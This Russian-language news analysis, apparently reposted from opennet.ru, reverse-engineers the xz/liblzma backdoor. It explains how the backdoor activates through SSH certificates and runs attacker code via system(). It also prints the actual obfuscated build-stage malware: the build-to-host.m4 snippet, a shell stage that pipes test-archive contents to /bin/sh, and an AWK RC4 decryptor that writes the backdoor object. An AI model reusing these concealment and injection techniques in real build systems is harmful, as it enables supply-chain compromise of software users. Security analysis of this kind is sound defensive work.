13.04.2024

Разбор логики активации и работы бэкдора в пакете xz

Доступны предварительные результаты обратного инжиниринга вредоносного объектного файла, встроенного в liblzma в результате кампании по продвижению бэкдора в пакет xz. Изначально предполагалось, что бэкдор позволяет обойти аутентификацию в sshd и получить доступ к системе через SSH. Более детальный анализ показал, что это не так и бэкдор предоставляет возможность выполнить произвольный код в системе, не оставляя следов в логах sshd.

В частности, перехватываемая бэкдором функция RSA_public_decrypt проверяет подпись хоста, используя фиксированный ключ Ed448, и в случае успешной проверки выполняет переданный внешним хостом код при помощи функции system() на стадии до сброса привилегий процессом sshd. Данные, содержащие код для исполнения, извлекается из параметра «N», переданного в функцию RSA_public_decrypt (поле «n» из структуры rsa_st, содержащей переданный внешним хостом открытый ключ), проверяется по контрольной сумме и расшифровывается при помощи предопределённого ключа ChaCha20 на стадии до верификации цифровой подписи Ed448.

В качестве признака для активации бэкдора в sshd используется штатный механизм обмена хостовыми ключами. Бэкдор пользуется тем, что сертификаты OpenSSH включают открытый ключ сформировавшего подпись, и реагирует только на ключ, подготовленный злоумышленником и соответствующий предопределённому фиксированному ключу Ed448. Если верификация подписи по открытому ключу не проходит или если целостность данных для исполнения не подтверждается, бэкдор возвращает управление штатным функциям SSH.

Так как закрытый ключ злоумышленника неизвестен, невозможно реализовать проверочный код, который позволил бы активировать бэкдор и реализовать сканер скомпрометированных хостов в сети. Исследователями подготовлен скрипт, демонстрирующий технику подстановки открытого ключа с произвольным содержимым в передаваемый SSH-клиентом сертификат OpenSSH, который будет обработан в перехваченной бэкдором функции RSA_public_decrypt.

Исследователи также заметили наличие конструкции (killswitch), обезвреживающей бэкдор при наличии выставленной перед запуском sshd переменой окружения «yolAbejyiejuvnup=Evjtgvsh5okmkAvj».

Дополнительно можно отметить детальный разбор shell-конструкций, используемых для запутывания процесса извлечения объектного файла с бэкдором и его подстановки к библиотеке liblzma. Во время сборки xz из скрипта build-to-host.m4 запускался код, который находил среди тестовых файлов архив bad-3-corrupt_lzma2.xz, заменял в нём некоторые символы, превращал в неповреждённый архив и извлекал из него shell-скрипт.

 gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
... gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null' gl_path_map='tr "\t \-_" " \t_\-"'

Полученный shell-скрипт по кусочкам извлекал из содержимого архива good-large_compressed.lzma ещё один shell-скрипт, пропуская определённые последовательности командами head и tail, и заменяя символы командой tr.


####Hello####
# a few binary bytes here, but as it's a comment they are ignorred
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
####World####

В результате формировался достаточно сложный и объёмный shell-скрипт, извлекающий непосредственно файл с бэкдором из архивов good-large_compressed.lzma и bad-3-corrupt_lzma2.xz, расшифровывающий его и встраивающий в liblzma. Среди прочего в скрипте присутствовала реализация дешифровщика на базе алгоритма RC4 на языке AWK:


N=0
W=88664
else
N=88664
W=0
fi
xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i‹m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l‹8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF‹1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}' | xz -dc --single-stream | ((head -c +$N › /dev/null 2>&1) && head -c +$W) › liblzma_la-crc64-fast.o || true

Источник: https://www.opennet.ru/opennews/art.shtml?num=60885 Источник.